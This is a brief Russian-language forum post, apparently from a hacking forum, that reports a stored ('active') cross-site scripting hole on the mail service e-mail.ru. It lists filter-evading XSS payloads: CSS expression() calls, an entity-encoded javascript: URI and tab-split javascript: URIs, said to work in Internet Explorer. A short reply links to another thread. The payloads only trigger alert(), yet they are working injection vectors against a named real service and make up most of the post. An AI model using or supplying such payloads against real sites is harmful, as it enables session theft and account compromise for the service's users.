xss на e-mail.ru(актив)

Code:

<span style=top:expression(alert())></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span>
<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
<img src="javascript	:alert()"> и прочие извращения с пробелами и табуляцией

работают в ie.

 

тебе сюда:
http://forum.antichat.ru/thread21437.html

 

ну это актив, а не пасив. А там постятся пассивные xss на сколько я смог заметить.